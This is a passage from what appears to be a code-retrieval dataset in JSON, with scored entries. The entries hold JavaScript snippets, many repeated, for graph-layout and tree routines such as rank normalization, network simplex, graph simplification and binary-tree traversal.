!nextLeft(vom)) {\n\t vom.t = vip;\n\t vom.m += sip - som;\n\t ancestor = v;\n\t }\n\t }\n\t return ancestor;\n\t }\n\n\t function sizeNode(node) {\n\t node.x *= dx;\n\t node.y = node.depth * dy;\n\t }\n\n\t tree.separation = function(x) {\n\t return arguments.length ? (separation = x, tree) : separation;\n\t };\n\n\t tree.size = function(x) {\n\t return arguments.length ? (nodeSize = false, dx = +x[0], dy = +x[1], tree) : (nodeSize ? null : [dx, dy]);\n\t };\n\n\t tree.nodeSize = function(x) {\n\t return arguments.length ? (nodeSize = true, dx = +x[0], dy = +x[1], tree) : (nodeSize ? [dx, dy] : null);\n\t };\n\n\t return tree;\n\t }", "title": "" }, { "docid": "ae3e41257aed5a97f7529810d0b006e8", "score": "0.4892366", "text": "function simplify(g){var simplified=new Graph().setGraph(g.graph());_.forEach(g.nodes(),function(v){simplified.setNode(v,g.node(v))});_.forEach(g.edges(),function(e){var simpleLabel=simplified.edge(e.v,e.w)||{weight:0,minlen:1},label=g.edge(e);simplified.setEdge(e.v,e.w,{weight:simpleLabel.weight+label.weight,minlen:Math.max(simpleLabel.minlen,label.minlen)})});return simplified}", "title": "" }, { "docid": "145e891bbfeb56ec460650bc1b641347", "score": "0.48914328", "text": "function networkSimplex(g){g=simplify(g);initRank(g);var t=feasibleTree(g);initLowLimValues(t);initCutValues(t,g);var e,f;while(e=leaveEdge(t)){f=enterEdge(t,g,e);exchangeEdges(t,g,e,f)}}", "title": "" }, { "docid": "2b2f2811f34de67d84b6308ab9a8a677", "score": "0.48852596", "text": "function run(g) {\n var root = util.addDummyNode(g, \"root\", {}, \"_root\");\n var depths = treeDepths(g);\n var height = _.max(_.values(depths)) - 1; // Note: depths is an Object not an array\n var nodeSep = 2 * height + 1;\n\n g.graph().nestingRoot = root;\n\n // Multiply minlen by nodeSep to align nodes on non-border ranks.\n _.forEach(g.edges(), function(e) { g.edge(e).minlen *= nodeSep; });\n\n // Calculate a weight that is sufficient to keep subgraphs vertically compact\n var weight = sumWeights(g) + 1;\n\n // Create border nodes and link them up\n _.forEach(g.children(), function(child) {\n dfs(g, root, nodeSep, weight, height, depths, child);\n });\n\n // Save the multiplier for node layers for later removal of empty border\n // layers.\n g.graph().nodeRankFactor = nodeSep;\n}", "title": "" }, { "docid": "2b2f2811f34de67d84b6308ab9a8a677", "score": "0.48852596", "text": "function run(g) {\n var root = util.addDummyNode(g, \"root\", {}, \"_root\");\n var depths = treeDepths(g);\n var height = _.max(_.values(depths)) - 1; // Note: depths is an Object not an array\n var nodeSep = 2 * height + 1;\n\n g.graph().nestingRoot = root;\n\n // Multiply minlen by nodeSep to align nodes on non-border ranks.\n _.forEach(g.edges(), function(e) { g.edge(e).minlen *= nodeSep; });\n\n // Calculate a weight that is sufficient to keep subgraphs vertically compact\n var weight = sumWeights(g) + 1;\n\n // Create border nodes and link them up\n _.forEach(g.children(), function(child) {\n dfs(g, root, nodeSep, weight, height, depths, child);\n });\n\n // Save the multiplier for node layers for later removal of empty border\n // layers.\n g.graph().nodeRankFactor = nodeSep;\n}", "title": "" }, { "docid": "914c40a3d3ff25330d5fdd1ed5c90cf8", "score": "0.48506975", "text": "function run(g) {\r\n var root = util.addDummyNode(g, \"root\", {}, \"_root\");\r\n var depths = treeDepths(g);\r\n var height = _.max(_.values(depths)) - 1; // Note: depths is an Object not an array\r\n var nodeSep = 2 * height + 1;\r\n\r\n g.graph().nestingRoot = root;\r\n\r\n // Multiply minlen by nodeSep to align nodes on non-border ranks.\r\n _.forEach(g.edges(), function(e) { g.edge(e).minlen *= nodeSep; });\r\n\r\n // Calculate a weight that is sufficient to keep subgraphs vertically compact\r\n var weight = sumWeights(g) + 1;\r\n\r\n // Create border nodes and link them up\r\n _.forEach(g.children(), function(child) {\r\n dfs(g, root, nodeSep, weight, height, depths, child);\r\n });\r\n\r\n // Save the multiplier for node layers for later removal of empty border\r\n // layers.\r\n g.graph().nodeRankFactor = nodeSep;\r\n}", "title": "" }, { "docid": "f15e0e103e219a7ffde53a68f4767a4c", "score": "0.48417762", "text": "nextLarger(lowerBound) {\n // bfs traversal of tree\n\n if (!this.root) return null;\n let queue = [this.root];\n let closest = null;\n\n while (queue.length) {\n let current = queue.shift();\n let isHigher = current.val > lowerBound;\n let reassignClosest = current.val < closest || closest === null;\n\n if (isHigher && reassignClosest) {\n closest = current.val;\n }\n if (current.left) queue.push(current.left);\n if (current.right) queue.push(current.right);\n }\n return closest;\n }", "title": "" }, { "docid": "3798d697caf1fadda28f7f2a71028eaa", "score": "0.48359796", "text": "function run(g) {\n var root = util.addDummyNode(g, \"root\", {}, \"_root\"),\n depths = treeDepths(g),\n height = _.max(depths) - 1,\n nodeSep = 2 * height + 1;\n\n g.graph().nestingRoot = root;\n\n // Multiply minlen by nodeSep to align nodes on non-border ranks.\n _.each(g.edges(), function(e) { g.edge(e).minlen *= nodeSep; });\n\n // Calculate a weight that is sufficient to keep subgraphs vertically compact\n var weight = sumWeights(g) + 1;\n\n // Create border nodes and link them up\n _.each(g.children(), function(child) {\n dfs(g, root, nodeSep, weight, height, depths, child);\n });\n\n // Save the multiplier for node layers for later removal of empty border\n // layers.\n g.graph().nodeRankFactor = nodeSep;\n}", "title": "" }, { "docid": "3798d697caf1fadda28f7f2a71028eaa", "score": "0.48359796", "text": "function run(g) {\n var root = util.addDummyNode(g, \"root\", {}, \"_root\"),\n depths = treeDepths(g),\n height = _.max(depths) - 1,\n nodeSep = 2 * height + 1;\n\n g.graph().nestingRoot = root;\n\n // Multiply minlen by nodeSep to align nodes on non-border ranks.\n _.each(g.edges(), function(e) { g.edge(e).minlen *= nodeSep; });\n\n // Calculate a weight that is sufficient to keep subgraphs vertically compact\n var weight = sumWeights(g) + 1;\n\n // Create border nodes and link them up\n _.each(g.children(), function(child) {\n dfs(g, root, nodeSep, weight, height, depths, child);\n });\n\n // Save the multiplier for node layers for later removal of empty border\n // layers.\n g.graph().nodeRankFactor = nodeSep;\n}", "title": "" }, { "docid": "3798d697caf1fadda28f7f2a71028eaa", "score": "0.48359796", "text": "function run(g) {\n var root = util.addDummyNode(g, \"root\", {}, \"_root\"),\n depths = treeDepths(g),\n height = _.max(depths) - 1,\n nodeSep = 2 * height + 1;\n\n g.graph().nestingRoot = root;\n\n // Multiply minlen by nodeSep to align nodes on non-border ranks.\n _.each(g.edges(), function(e) { g.edge(e).minlen *= nodeSep; });\n\n // Calculate a weight that is sufficient to keep subgraphs vertically compact\n var weight = sumWeights(g) + 1;\n\n // Create border nodes and link them up\n _.each(g.children(), function(child) {\n dfs(g, root, nodeSep, weight, height, depths, child);\n });\n\n // Save the multiplier for node layers for later removal of empty border\n // layers.\n g.graph().nodeRankFactor = nodeSep;\n}", "title": "" }, { "docid": "3798d697caf1fadda28f7f2a71028eaa", "score": "0.48359796", "text": "function run(g) {\n var root = util.addDummyNode(g, \"root\", {}, \"_root\"),\n depths = treeDepths(g),\n height = _.max(depths) - 1,\n nodeSep = 2 * height + 1;\n\n g.graph().nestingRoot = root;\n\n // Multiply minlen by nodeSep to align nodes on non-border ranks.\n _.each(g.edges(), function(e) { g.edge(e).minlen *= nodeSep; });\n\n // Calculate a weight that is sufficient to keep subgraphs vertically compact\n var weight = sumWeights(g) + 1;\n\n // Create border nodes and link them up\n _.each(g.children(), function(child) {\n dfs(g, root, nodeSep, weight, height, depths, child);\n });\n\n // Save the multiplier for node layers for later removal of empty border\n // layers.\n g.graph().nodeRankFactor = nodeSep;\n}", "title": "" }, { "docid": "3798d697caf1fadda28f7f2a71028eaa", "score": "0.48359796", "text": "function run(g) {\n var root = util.addDummyNode(g, \"root\", {}, \"_root\"),\n depths = treeDepths(g),\n height = _.max(depths) - 1,\n nodeSep = 2 * height + 1;\n\n g.graph().nestingRoot = root;\n\n // Multiply minlen by nodeSep to align nodes on non-border ranks.\n _.each(g.edges(), function(e) { g.edge(e).minlen *= nodeSep; });\n\n // Calculate a weight that is sufficient to keep subgraphs vertically compact\n var weight = sumWeights(g) + 1;\n\n // Create border nodes and link them up\n _.each(g.children(), function(child) {\n dfs(g, root, nodeSep, weight, height, depths, child);\n });\n\n // Save the multiplier for node layers for later removal of empty border\n // layers.\n g.graph().nodeRankFactor = nodeSep;\n}", "title": "" }, { "docid": "588dc19a69ee8c6f854ab48994cc59bb", "score": "0.48048988", "text": "function simplify(g) {\n var simplified = new Graph().setGraph(g.graph());\n _.forEach(g.nodes(), function(v) { simplified.setNode(v, g.node(v)); });\n _.forEach(g.edges(), function(e) {\n var simpleLabel = simplified.edge(e.v, e.w) || { weight: 0, minlen: 1 },\n label = g.edge(e);\n simplified.setEdge(e.v, e.w, {\n weight: simpleLabel.weight + label.weight,\n minlen: Math.max(simpleLabel.minlen, label.minlen)\n });\n });\n return simplified;\n}", "title": "" }, { "docid": "f731ca61d0283b073c2bc60484237650", "score": "0.47995812", "text": "function simplify(g) {\r\n var simplified = new Graph().setGraph(g.graph());\r\n _.forEach(g.nodes(), function(v) { simplified.setNode(v, g.node(v)); });\r\n _.forEach(g.edges(), function(e) {\r\n var simpleLabel = simplified.edge(e.v, e.w) || { weight: 0, minlen: 1 };\r\n var label = g.edge(e);\r\n simplified.setEdge(e.v, e.w, {\r\n weight: simpleLabel.weight + label.weight,\r\n minlen: Math.max(simpleLabel.minlen, label.minlen)\r\n });\r\n });\r\n return simplified;\r\n}", "title": "" }, { "docid": "911205ad396332185237f6c378d96767", "score": "0.47891915", "text": "function makeTree(nodes){\r\n var n = getRoot(nodes.map(function(x){return fixNode(nodes,x)}));\r\n enforceBi(n);\r\n return unroot(n);\r\n}", "title": "" }, { "docid": "c4e5f002522ca300c63d204baf68af36", "score": "0.4780591", "text": "function run$2(g) {\n\t var root = util.addDummyNode(g, \"root\", {}, \"_root\");\n\t var depths = treeDepths(g);\n\t var height = lodash_1$1.max(lodash_1$1.values(depths)) - 1; // Note: depths is an Object not an array\n\t var nodeSep = 2 * height + 1;\n\n\t g.graph().nestingRoot = root;\n\n\t // Multiply minlen by nodeSep to align nodes on non-border ranks.\n\t lodash_1$1.forEach(g.edges(), function(e) { g.edge(e).minlen *= nodeSep; });\n\n\t // Calculate a weight that is sufficient to keep subgraphs vertically compact\n\t var weight = sumWeights(g) + 1;\n\n\t // Create border nodes and link them up\n\t lodash_1$1.forEach(g.children(), function(child) {\n\t dfs$1(g, root, nodeSep, weight, height, depths, child);\n\t });\n\n\t // Save the multiplier for node layers for later removal of empty border\n\t // layers.\n\t g.graph().nodeRankFactor = nodeSep;\n\t}", "title": "" }, { "docid": "8e0974510a204107f101561b475a2586", "score": "0.4769249", "text": "function simplify(g) {\n var simplified = new Graph().setGraph(g.graph());\n _.each(g.nodes(), function(v) { simplified.setNode(v, g.node(v)); });\n _.each(g.edges(), function(e) {\n var simpleLabel = simplified.edge(e.v, e.w) || { weight: 0, minlen: 1 },\n label = g.edge(e);\n simplified.setEdge(e.v, e.w, {\n weight: simpleLabel.weight + label.weight,\n minlen: Math.max(simpleLabel.minlen, label.minlen)\n });\n });\n return simplified;\n}", "title": "" }, { "docid": "8e0974510a204107f101561b475a2586", "score": "0.4769249", "text": "function simplify(g) {\n var simplified = new Graph().setGraph(g.graph());\n _.each(g.nodes(), function(v) { simplified.setNode(v, g.node(v)); });\n _.each(g.edges(), function(e) {\n var simpleLabel = simplified.edge(e.v, e.w) || { weight: 0, minlen: 1 },\n label = g.edge(e);\n simplified.setEdge(e.v, e.w, {\n weight: simpleLabel.weight + label.weight,\n minlen: Math.max(simpleLabel.minlen, label.minlen)\n });\n });\n return simplified;\n}", "title": "" }, { "docid": "8e0974510a204107f101561b475a2586", "score": "0.4769249", "text": "function simplify(g) {\n var simplified = new Graph().setGraph(g.graph());\n _.each(g.nodes(), function(v) { simplified.setNode(v, g.node(v)); });\n _.each(g.edges(), function(e) {\n var simpleLabel = simplified.edge(e.v, e.w) || { weight: 0, minlen: 1 },\n label = g.edge(e);\n simplified.setEdge(e.v, e.w, {\n weight: simpleLabel.weight + label.weight,\n minlen: Math.max(simpleLabel.minlen, label.minlen)\n });\n });\n return simplified;\n}", "title": "" }, { "docid": "8e0974510a204107f101561b475a2586", "score": "0.4769249", "text": "function simplify(g) {\n var simplified = new Graph().setGraph(g.graph());\n _.each(g.nodes(), function(v) { simplified.setNode(v, g.node(v)); });\n _.each(g.edges(), function(e) {\n var simpleLabel = simplified.edge(e.v, e.w) || { weight: 0, minlen: 1 },\n label = g.edge(e);\n simplified.setEdge(e.v, e.w, {\n weight: simpleLabel.weight + label.weight,\n minlen: Math.max(simpleLabel.minlen, label.minlen)\n });\n });\n return simplified;\n}", "title": "" }, { "docid": "8e0974510a204107f101561b475a2586", "score": "0.4769249", "text": "function simplify(g) {\n var simplified = new Graph().setGraph(g.graph());\n _.each(g.nodes(), function(v) { simplified.setNode(v, g.node(v)); });\n _.each(g.edges(), function(e) {\n var simpleLabel = simplified.edge(e.v, e.w) || { weight: 0, minlen: 1 },\n label = g.edge(e);\n simplified.setEdge(e.v, e.w, {\n weight: simpleLabel.weight + label.weight,\n minlen: Math.max(simpleLabel.minlen, label.minlen)\n });\n });\n return simplified;\n}", "title": "" }, { "docid": "452e6403a60d57e156509de7552a90cd", "score": "0.47655162", "text": "function run$3(g) {\n var root = util.addDummyNode(g, \"root\", {}, \"_root\");\n var depths = treeDepths(g);\n var height = lodash_1$1.max(lodash_1$1.values(depths)) - 1; // Note: depths is an Object not an array\n var nodeSep = 2 * height + 1;\n\n g.graph().nestingRoot = root;\n\n // Multiply minlen by nodeSep to align nodes on non-border ranks.\n lodash_1$1.forEach(g.edges(), function(e) { g.edge(e).minlen *= nodeSep; });\n\n // Calculate a weight that is sufficient to keep subgraphs vertically compact\n var weight = sumWeights(g) + 1;\n\n // Create border nodes and link them up\n lodash_1$1.forEach(g.children(), function(child) {\n dfs$1(g, root, nodeSep, weight, height, depths, child);\n });\n\n // Save the multiplier for node layers for later removal of empty border\n // layers.\n g.graph().nodeRankFactor = nodeSep;\n }", "title": "" }, { "docid": "8c4eae152fc9c52a058ead1f0c67ddc4", "score": "0.47482488", "text": "static get _SMALLNODEMINWIDTH() {return 5;}", "title": "" }, { "docid": "3ae7b4a1b1bd4f888f20fea85d1c0d0e", "score": "0.47332457", "text": "function flatten(nodes, links) {\n var \n max_width=0, max_depth = 1;\n\n //get depth of node (longest chain of parents)\n function getDepth(node) {\n if (node.depth) {\n return node.depth;\n }\n var order = Math.max.apply(null, node.parents.map(getDepth));\n order = Math.max(order, 0) + 1;\n node.depth = order;\n return order;\n }\n\n //get weight of node (recursive total nr of children)\n function getWeight(node) {\n if (node.weight) {\n return node.weight;\n }\n var order = node.children.map(getWeight).reduce(function(a, b) {\n return a + b;\n }, 0) + 1;\n node.weight = order;\n return order;\n }\n\n nodes.forEach(getDepth);\n nodes.forEach(getWeight);\n\n\n //create root node, above all depth 0 nodes\n root = {\n name: \"root\",\n parents: [],\n children: [],\n depth: 0,\n parent: null\n };\n root.fixed = true;\n root.px = root.py = 0;\n\n nodes.forEach(function(n) {\n if (n.depth == 1) {\n root.children.push(n);\n n.parents.push(root);\n }\n });\n\n //determine initial placement in grid\n\n function recurse(node, x) {\n\t\t\tmax_width = Math.max(max_width, x);\n if (node.children) {\n//sort by weight, so the most important nodes are placed first (to the top) in the inital layout\n\t\t\t node.children.sort(function(a, b) {\n \treturn b.weight - a.weight;\n \t });\n max_depth = Math.max(max_depth, node.depth + 1);\n node.size = node.children.reduce(function(p, v, i) {\n return p + recurse(v, x + p);\n }, 1);\n }\n\n\n\n if (!node.x) {\n node.x = node.depth;\n node.y = x + node.size/2;\n }\n return node.size;\n }\n\n root.size = recurse(root, 0);\n\n // now correct/balance the x positions:\n \n \n var ky = (height - 20) / max_width;\n\n \n\n var kx = (width - 20) / max_depth;\n\n \n\t\t var i\n for (i = nodes.length; --i >= 0;) {\n var node = nodes[i];\n if (!node.px) {\n node.y *= ky;\n node.y += 10 + ky / 2;\n node.x *= kx;\n node.x += 10 + kx / 2;\n }\n }\n\n return nodes;\n }", "title": "" }, { "docid": "bff0d63927d90d6f9fce341694c8d7ea", "score": "0.4711856", "text": "nextLarger(lowerBound) {\n let currCloser = null;\n let toVisitQueue = [this.root];\n while(toVisitQueue.length){\n let current = toVisitQueue.shift();\n if(!currCloser && current.val > lowerBound){\n currCloser = current.val;\n }\n if(current.val > lowerBound && current.val < currCloser){\n currCloser = current.val;\n }\n if(current.left){\n toVisitQueue.push(current.left)\n }\n if(current.right){\n toVisitQueue.push(current.right)\n }\n }\n return currCloser;\n }", "title": "" }, { "docid": "9f537d924f50015b742e546e112255c4", "score": "0.46650097", "text": "function simplify(g) {\n var simplified = new Graph$2().setGraph(g.graph());\n lodash_1$1.forEach(g.nodes(), function(v) { simplified.setNode(v, g.node(v)); });\n lodash_1$1.forEach(g.edges(), function(e) {\n var simpleLabel = simplified.edge(e.v, e.w) || { weight: 0, minlen: 1 },\n label = g.edge(e);\n simplified.setEdge(e.v, e.w, {\n weight: simpleLabel.weight + label.weight,\n minlen: Math.max(simpleLabel.minlen, label.minlen)\n });\n });\n return simplified;\n }", "title": "" }, { "docid": "c95febd7490876f9c3bd47db7efb343a", "score": "0.46548817", "text": "function drawTree(lEdgeX,lEdgeY,node,left,right,treeScale,svg,svgAttr,nodeCache){\n\t\t\n\t// compute the cx,cy,cr first\n\tvar cx,cy,cr;\n\tif(node.tag != 'root'){\n\t\tcx = (left + right) / 2;\n\t\tcy = treeScale.nodeIndArr[node.id].cy;\n\t\tcr = treeScale.crScale(node.num);\n\t\t//draw the upper edge\n\t\tvar edgeWidth = treeScale.edgeWidthScale(node.num);\n\t\tdrawEdge(lEdgeX,lEdgeY,node,cx,cy,cr,edgeWidth,svg,svgAttr);\n\t}\n\telse{\n\t\t//var thisEdge = lastEdge;\n\t\tcx = cy = 0;\n\t}\n\n\t//sort the child, draw the biggest first\n\tvar totalChildNum = 0;\n\tfunction tranSort(a,b){\n\t\treturn b.num - a.num;\n\t}\n\t// both sort and find the min ts among the children\n\tvar tranSortArr = new Array();\n\tvar minChildCY = 9999999;\n\tvar minChildId;\n\tvar endNum = 0;\n\tfor(var childStr in node.child){\n\t\tif(childStr != 'END'){\n\t\t\ttranSortArr.push({\"name\":childStr,\"num\":node.child[childStr].num});\n\t\t\ttotalChildNum += node.child[childStr].num;\n\t\t\tif(treeScale.nodeIndArr[node.child[childStr].id].cy < minChildCY){\n\t\t\t\tminChildId = node.child[childStr].id;\n\t\t\t\tminChildCY = treeScale.nodeIndArr[node.child[childStr].id].cy;\n\t\t\t}\n\t\t}\n\t\telse{\n\t\t\tendNum = node.child[childStr].num;\n\t\t}\n\t}\n\tvar edgeX = 0;\n\tvar edgeY = 0;\n\t// draw a part of the bottom edge\n\tif (totalChildNum != 0 && node.tag != \"root\"){\n\t\tedgeX = cx;\n\t\tedgeY = cy + cr + (minChildCY - treeScale.crScale(treeScale.nodeIndArr[minChildId].num) - cy - cr) * 0.2;\n\t\t\n\t\tsvg.append(\"line\").attr(\"x1\",edgeX)\n\t\t\t\t\t\t.attr(\"y1\",cy + cr)\n\t\t\t\t\t\t.attr(\"x2\",edgeX)\n\t\t\t\t\t\t.attr(\"y2\",edgeY)\n\t\t\t\t\t\t.attr(\"id\",node.id+\"-btmedge\")\n\t\t\t\t\t\t.style(\"stroke\",svgAttr.colors.edge)\n\t\t\t\t\t\t.style(\"stroke-width\",treeScale.edgeWidthScale(node.num - endNum));\n\t}\n\ttranSortArr.sort(tranSort);\n\t\n\t//iterate through the children\n\tvar curLeft = left;\n\tvar curDist = right-left;\n\tfor(var ind in tranSortArr){\n\t\tchildStr = tranSortArr[ind].name;\n\t\tvar distRate = ((node.child[childStr].maxWidth / node.maxWidth) + (node.child[childStr].num / totalChildNum)) / 2;\n\t\tvar dist = curDist * distRate;\n\t\t//draw the tree of son\n\t\tdrawTree(edgeX,edgeY,node.child[childStr],curLeft,curLeft+dist,treeScale,svg,svgAttr,nodeCache);\n\t\tcurLeft = curLeft+dist;\n\t}\n\t// draw the node\n\tif(node.tag != 'root'){\n\t\tcacheNode(node,cx,cy,cr,svg,svgAttr,nodeCache);\n\t}\n}", "title": "" }, { "docid": "39549ade179b429127e76c96765cb636", "score": "0.46412173", "text": "function slack(graph, u, v, minLen) {\n return Math.abs(graph.node(u).rank - graph.node(v).rank) - minLen;\n}", "title": "" }, { "docid": "5b6fadac8a824df30195b89df7aaaeba", "score": "0.46279192", "text": "function simplify(g) {\n\t var simplified = new Graph$2().setGraph(g.graph());\n\t lodash_1$1.forEach(g.nodes(), function(v) { simplified.setNode(v, g.node(v)); });\n\t lodash_1$1.forEach(g.edges(), function(e) {\n\t var simpleLabel = simplified.edge(e.v, e.w) || { weight: 0, minlen: 1 };\n\t var label = g.edge(e);\n\t simplified.setEdge(e.v, e.w, {\n\t weight: simpleLabel.weight + label.weight,\n\t minlen: Math.max(simpleLabel.minlen, label.minlen)\n\t });\n\t });\n\t return simplified;\n\t}", "title": "" }, { "docid": "6e88311b29a724ff01d7f45f29163cb5", "score": "0.46222985", "text": "width() {\n let result = -1;\n const _width = (node) => {\n if (!node) {\n return;\n }\n\n let queue = [];\n queue.push(node);\n\n while (queue.length) {\n let count = queue.length;\n result = Math.max(count, result);\n while (count > 0) {\n const front = queue.shift();\n if (front.left) {\n queue.push(front.left)\n }\n\n if (front.right) {\n queue.push(front.right)\n }\n count--;\n }\n }\n\n return result;\n }\n console.log(\"Width of binary tree is \", _width(this.root))\n }", "title": "" }, { "docid": "e9ffe541db4f471aa77f8213e1bbb401", "score": "0.4616586", "text": "function normalizeRanks(g){var min=_.min(_.map(g.nodes(),function(v){return g.node(v).rank}));_.forEach(g.nodes(),function(v){var node=g.node(v);if(_.has(node,\"rank\")){node.rank-=min}})}", "title": "" }, { "docid": "09d193c3b6e97626ed19a05838b74a83", "score": "0.46111777", "text": "minDepth(minLength, node = this.root, rightCounter = 0) {\n if (this.root === null) return 0;\n if (node.left) {\n minLength++;\n this.minDepth(minLength, node.left, rightCounter);\n }\n if (node.right) {\n rightCounter++;\n if (rightCounter >= minLength) return minLength + 1;\n this.minDepth(minLength, node.right, rightCounter);\n }\n return rightCounter + 1;\n }", "title": "" }, { "docid": "c268c8dfacf34a0f0152d3bbacdad083", "score": "0.4590171", "text": "function WeightedBinaryTree(opts) {\n BinaryTree.call(this, opts);\n}", "title": "" }, { "docid": "3f63654b5e246f1fe3073d4f228b9751", "score": "0.45889923", "text": "function normalizeRanks(g) {\r\n var min = _.min(_.map(g.nodes(), function(v) { return g.node(v).rank; }));\r\n _.forEach(g.nodes(), function(v) {\r\n var node = g.node(v);\r\n if (_.has(node, \"rank\")) {\r\n node.rank -= min;\r\n }\r\n });\r\n}", "title": "" }, { "docid": "537b83c6667d76a25d7ee6e162c6d263", "score": "0.4587395", "text": "function networkSimplex(g) {\n g = simplify$1(g);\n initRank(g);\n var t = feasibleTree_1(g);\n initLowLimValues(t);\n initCutValues(t, g);\n\n var e, f;\n while ((e = leaveEdge(t))) {\n f = enterEdge(t, g, e);\n exchangeEdges(t, g, e, f);\n }\n }", "title": "" }, { "docid": "60226dea8999973baca6bff32c89c5f3", "score": "0.45736408", "text": "function normalizeRanks(g) {\n var min = _.minBy(_.map(g.nodes(), function(v) { return g.node(v).rank; }));\n _.forEach(g.nodes(), function(v) {\n var node = g.node(v);\n if (_.has(node, \"rank\")) {\n node.rank -= min;\n }\n });\n}", "title": "" }, { "docid": "2e82f2d39232577c5a25908495176bee", "score": "0.4565295", "text": "function normalizeRanks(g) {\n var min = _.min(_.map(g.nodes(), function(v) { return g.node(v).rank; }));\n _.each(g.nodes(), function(v) {\n var node = g.node(v);\n if (_.has(node, \"rank\")) {\n node.rank -= min;\n }\n });\n}", "title": "" }, { "docid": "2e82f2d39232577c5a25908495176bee", "score": "0.4565295", "text": "function normalizeRanks(g) {\n var min = _.min(_.map(g.nodes(), function(v) { return g.node(v).rank; }));\n _.each(g.nodes(), function(v) {\n var node = g.node(v);\n if (_.has(node, \"rank\")) {\n node.rank -= min;\n }\n });\n}", "title": "" }, { "docid": "2e82f2d39232577c5a25908495176bee", "score": "0.4565295", "text": "function normalizeRanks(g) {\n var min = _.min(_.map(g.nodes(), function(v) { return g.node(v).rank; }));\n _.each(g.nodes(), function(v) {\n var node = g.node(v);\n if (_.has(node, \"rank\")) {\n node.rank -= min;\n }\n });\n}", "title": "" }, { "docid": "2e82f2d39232577c5a25908495176bee", "score": "0.4565295", "text": "function normalizeRanks(g) {\n var min = _.min(_.map(g.nodes(), function(v) { return g.node(v).rank; }));\n _.each(g.nodes(), function(v) {\n var node = g.node(v);\n if (_.has(node, \"rank\")) {\n node.rank -= min;\n }\n });\n}", "title": "" }, { "docid": "2e82f2d39232577c5a25908495176bee", "score": "0.4565295", "text": "function normalizeRanks(g) {\n var min = _.min(_.map(g.nodes(), function(v) { return g.node(v).rank; }));\n _.each(g.nodes(), function(v) {\n var node = g.node(v);\n if (_.has(node, \"rank\")) {\n node.rank -= min;\n }\n });\n}", "title": "" }, { "docid": "4357f20cd10b9b5817972448e88a3c7c", "score": "0.45639646", "text": "nextLarger(lowerBound) {\n let toVisit = [this.root];\n let result = null;\n while (toVisit[0]) {\n let current = toVisit.pop();\n if (!result && current.val > lowerBound) result = current.val;\n if (current.val > lowerBound && current.val < result) result = current.val;\n if (current.left) toVisit.push(current.left);\n if (current.right) toVisit.push(current.right);\n };\n return result;\n }", "title": "" }, { "docid": "6ff5d79df0ebbf8fb40cd878feab37fb", "score": "0.45567992", "text": "function normalize(g) {\n var dummyCount = 0;\n g.eachEdge(function(e, s, t, a) {\n var sourceRank = g.node(s).rank;\n var targetRank = g.node(t).rank;\n if (sourceRank + 1 < targetRank) {\n for (var u = s, rank = sourceRank + 1, i = 0; rank < targetRank; ++rank, ++i) {\n var v = '_D' + (++dummyCount);\n var node = {\n width: a.width,\n height: a.height,\n edge: { id: e, source: s, target: t, attrs: a },\n rank: rank,\n dummy: true\n };\n\n // If this node represents a bend then we will use it as a control\n // point. For edges with 2 segments this will be the center dummy\n // node. For edges with more than two segments, this will be the\n // first and last dummy node.\n if (i === 0) node.index = 0;\n else if (rank + 1 === targetRank) node.index = 1;\n\n g.addNode(v, node);\n g.addEdge(null, u, v, {});\n u = v;\n }\n g.addEdge(null, u, t, {});\n g.delEdge(e);\n }\n });\n }", "title": "" }, { "docid": "6ff5d79df0ebbf8fb40cd878feab37fb", "score": "0.45567992", "text": "function normalize(g) {\n var dummyCount = 0;\n g.eachEdge(function(e, s, t, a) {\n var sourceRank = g.node(s).rank;\n var targetRank = g.node(t).rank;\n if (sourceRank + 1 < targetRank) {\n for (var u = s, rank = sourceRank + 1, i = 0; rank < targetRank; ++rank, ++i) {\n var v = '_D' + (++dummyCount);\n var node = {\n width: a.width,\n height: a.height,\n edge: { id: e, source: s, target: t, attrs: a },\n rank: rank,\n dummy: true\n };\n\n // If this node represents a bend then we will use it as a control\n // point. For edges with 2 segments this will be the center dummy\n // node. For edges with more than two segments, this will be the\n // first and last dummy node.\n if (i === 0) node.index = 0;\n else if (rank + 1 === targetRank) node.index = 1;\n\n g.addNode(v, node);\n g.addEdge(null, u, v, {});\n u = v;\n }\n g.addEdge(null, u, t, {});\n g.delEdge(e);\n }\n });\n }", "title": "" }, { "docid": "d02933ada07ceb321269b526a260901b", "score": "0.45536757", "text": "function normalize(g) {\n var dummyCount = 0;\n g.eachEdge(function(e, s, t, a) {\n var sourceRank = g.node(s).rank;\n var targetRank = g.node(t).rank;\n if (sourceRank + 1 < targetRank) {\n for (var u = s, rank = sourceRank + 1, i = 0; rank < targetRank; ++rank, ++i) {\n var v = \"_D\" + ++dummyCount;\n var node = {\n width: a.width,\n height: a.height,\n edge: { id: e, source: s, target: t, attrs: a },\n rank: rank,\n dummy: true\n };\n\n // If this node represents a bend then we will use it as a control\n // point. For edges with 2 segments this will be the center dummy\n // node. For edges with more than two segments, this will be the\n // first and last dummy node.\n if (i === 0) node.index = 0;\n else if (rank + 1 === targetRank) node.index = 1;\n\n g.addNode(v, node);\n g.addEdge(null, u, v, {});\n u = v;\n }\n g.addEdge(null, u, t, {});\n g.delEdge(e);\n }\n });\n }", "title": "" }, { "docid": "7ba9899dbbdc13b3f65531c050c3933e", "score": "0.45347556", "text": "function pruneWeakParents(graph) {\n\n // make each side of all links sink below all parents with one child\n var newGraph = {};\n newGraph.links = _.each(graph.links, function(d) {\n while (true) {\n if (d.source.child1 && !d.source.child2) {\n d.source = d.source.child1;\n } else if (d.source.child2 && !d.source.child1) {\n d.source = d.source.child2;\n } else if (d.target.child1 && !d.target.child2) {\n d.target = d.target.child1;\n } else if (d.target.child2 && !d.target.child1) {\n d.target = d.target.child2;\n } else break;\n }\n });\n\n // remove all parents with less than two children and patch up the tree pointers\n newGraph.nodes = _.filter(graph.nodes, function(d) {\n if (d.group) {\n\n if (!d.child1 && !d.child2) {\n d.highlight = d.nearby = false;\n if (d.parent) {\n if (d.parent.child1 === d) d.parent.child1 = undefined;\n else if (d.parent.child2 === d) d.parent.child2 = undefined;\n }\n return false;\n }\n\n if (d.child1 && !d.child2) {\n d.highlight = d.nearby = false;\n if (d.parent) {\n if (d.parent.child1 === d) d.parent.child1 = d.child1;\n else if (d.parent.child2 === d) d.parent.child2 = d.child1;\n }\n d.child1.parent = d.parent;\n return false;\n }\n\n if (d.child2 && !d.child1) {\n d.highlight = d.nearby = false;\n if (d.parent) {\n if (d.parent.child1 === d) d.parent.child1 = d.child2;\n else if (d.parent.child2 === d) d.parent.child2 = d.child2;\n }\n d.child2.parent = d.parent;\n return false;\n }\n }\n return true;\n });\n\n return newGraph;\n }", "title": "" }, { "docid": 